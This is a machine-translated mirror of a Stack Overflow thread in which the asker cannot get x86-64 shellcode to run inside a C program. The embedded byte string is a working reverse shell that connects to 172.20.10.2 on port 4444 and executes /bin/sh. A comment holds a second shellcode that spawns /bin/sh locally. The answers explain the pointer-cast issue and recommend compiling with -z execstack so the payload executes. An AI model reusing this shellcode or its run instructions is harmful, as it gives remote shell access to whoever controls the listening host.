【问题标题】:shellcode working , but no in a custom C programshellcode 工作,但在自定义 C 程序中没有
【发布时间】:2018-11-08 04:49:22
【问题描述】:

我的有效载荷 asm 有效,但我尝试将它嵌入到我自己的 c 程序中。连接到我的 nc 端口 4444 然后制动连接。如果我在我的 asm 可执行文件上测试了这个示例并且它运行良好,但在我的 c 程序上却没有,我不知道为什么会发生这种情况。我能做些什么 ?如何调试?

#include <stdio.h>

unsigned char random[] = "0E249hvzColk1lZ4Vk1eccJM07x2FuitUVsliNPA5FybQn-Ny7DQJ0t-JCvDnm-mZY8YkyOtj6xgN1AUKzcBtr9rRCdGlZCjNnOKGbMzfpQQUampvZsqE0MRDhcvyvpOWzqZG5QJGBuL4-u0MipHq1ioOyNdcWcsRF0zPBd7iI76tTK5CPeDhklfSNQKaw50tsA1lEXDl7mVcvre9b6I-cUR1hYg2oLC6W0zwznvIizbea21OOB9oke5hYdWSSmI181bwvP6IuR20HIu1rGjKgnjHbClcMt9DWBOHBrtxSVUddgparNs5mR3lK3AtY85DN9W2ikX0lOSZbgcB47KC-wSGYRWOuqj1G8ebqUIArlnGk1TBKdwmezfz7RXHsa0EBlFRz60H9lDyQjJb31e78Ff1xXsFEJ5mnkU9rL5NDxPxyOkqxQoO1-6iR62feGLvQdUKfqXF2G0X8NMYqx0UWa78ezsOGsqdnwU5ktwMm2jaPZ5F1G8GKJFYGr7SXz6";

//\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 64 bits shell


unsigned char shellcode[] =  "\x68\xac\x14\x0a\x02\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";

int main(void){
    ((void (*)())shellcode)();
}



./custom
Segmentation fault (core dumped)

【问题讨论】:

  • 我不会运行和调试你的地狱代码。
  • 你用什么参数来编译它?因为如果您不使用“-z execstack”进行编译,则无法执行堆栈中的代码。

标签: c payload shellcode


【解决方案1】:

您正试图在以下语句中将对象指针shellcode 转换为函数指针:

((void (*)())shellcode)();

这可能导致未定义的行为。

C99 标准在函数指针部分对此进行了说明:

即使使用显式强制转换,将函数指针转换为对象指针或将指针转换为 void 也是无效的,反之亦然。

当您在 GCC 中使用 -pedantic-errors 选项编译代码时,您会看到这一点,它会给出以下错误。

<source>: In function 'main':
<source>:11:6: error: ISO C forbids conversion of object pointer to function pointer type [-Wpedantic]

观看现场演示here

【讨论】:

  • 我该如何解决?
  • 你需要找到一个支持这个作为扩展的编译器,并用它来编译你的代码。
  • 如何修复它的主要部分?
  • @AnttiHaapala:是的,GCC 支持它。我们不知道 OP 使用的是什么编译器。所以在cmets中,我让他使用支持这个的编译器作为扩展。
  • 我正在使用 GCC linux 命令行编译器,但它应该可以工作。 :/ 因为它被嵌入这个 shellcode 的 netcat 连接杀死了。
【解决方案2】:

解决这个问题的方法可能是在编译期间通过使用-z execstack 和GCC 来设置可执行堆栈选项。

这与通过指向函数的指针调用 shellcode 的方式有关。指针在调用蹦床期间被传递并最终位于堆栈上,因此堆栈必须是可执行的才能工作。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-05-13
    • 1970-01-01
    • 1970-01-01
    • 2017-03-14
    • 2022-06-15
    • 2012-10-16
    • 2021-06-09
    • 2016-11-15
    相关资源
    最近更新 更多